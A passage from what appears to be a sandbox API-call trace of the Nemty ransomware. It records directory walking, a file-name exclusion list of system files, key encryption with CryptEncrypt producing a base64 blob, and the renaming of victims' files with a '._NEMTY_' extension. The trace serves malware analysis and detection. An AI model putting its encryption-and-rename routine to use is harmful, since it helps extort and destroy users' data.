(HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0057.442] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.443] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0057.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0057.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.463] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0057.624] CloseHandle (hObject=0xffffffff) returned 0 [0057.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0057.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0057.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0057.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0057.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0057.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0057.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0057.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0057.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0057.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0057.627] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png._nemty_kgobjgd_")) returned 0 [0057.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0057.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0057.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0057.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0057.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0057.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0057.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0057.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0057.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.628] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2=".") returned 1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="..") returned 1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="...") returned 1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="windows") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="$RECYCLE.BIN") returned 1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="rsa") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="NTDETECT.COM") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="ntldr") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="MSDOS.SYS") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="IO.SYS") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="boot.ini") returned 1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="boot.ini") returned 1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="ntuser.dat") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="desktop.ini") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="CONFIG.SYS") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="RECYCLER") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="BOOTSECT.BAK") returned 1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="bootmgr") returned 1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="programdata") returned -1 [0057.628] lstrcmpiW (lpString1="chapters-static.png", lpString2="appdata") returned 1 [0057.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chapters-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0057.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chapters-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chapters-static.png", lpUsedDefaultChar=0x0) returned 19 [0057.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0057.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chapters-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0057.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chapters-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chapters-static.png", lpUsedDefaultChar=0x0) returned 19 [0057.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0057.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chapters-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0057.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chapters-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chapters-static.png", lpUsedDefaultChar=0x0) returned 19 [0057.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chapters-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0057.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0057.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chapters-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chapters-static.png", lpUsedDefaultChar=0x0) returned 19 [0057.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0057.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0057.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0057.629] Sleep (dwMilliseconds=0x5) [0057.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd600bd50, dwHighDateTime=0x1d561e7)) [0057.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd600bd50, dwHighDateTime=0x1d561e7)) [0057.640] GetLastError () returned 0x5 [0057.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0057.640] GetLastError () returned 0x5 [0057.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0057.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0057.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0057.641] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0057.641] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0057.641] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0057.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0057.641] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="3S5inLZMxATfLTLy+r9O14jmugNNAc1NXwpNc3trT36QkvnE9AiqC36+l3JGw2zK\r\nLCyzmBETeCNzZHTcC3GPxv+6rVNX3MxAoNGxLoTcLfRNC3VZ+zac1cRkrOStsYEu\r\nK63j34HWgx6lpm07f1WZvnen+oGecW9dP4GUb+uWceSOvkOpt8a80eZ3m/445o+j\r\n90pv0d4ObGLZ8VkMV7ympsYl9e5GS1eObHVOhRX6PCh7W8O1AkmdChal0TYjkyxM\r\n4ErGbCAkB8nB3VfJ5fFZnlIbYYzJYvN6EWYNHK4BWlu3pUn2FdyRUN+35hhwlKoT\r\nOdga9NezTeHgiSmf9+CyCA==\r\n", pcchString=0x653e91c) returned 1 [0057.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0057.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0057.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0057.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0057.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0057.641] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.642] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0057.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0057.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: 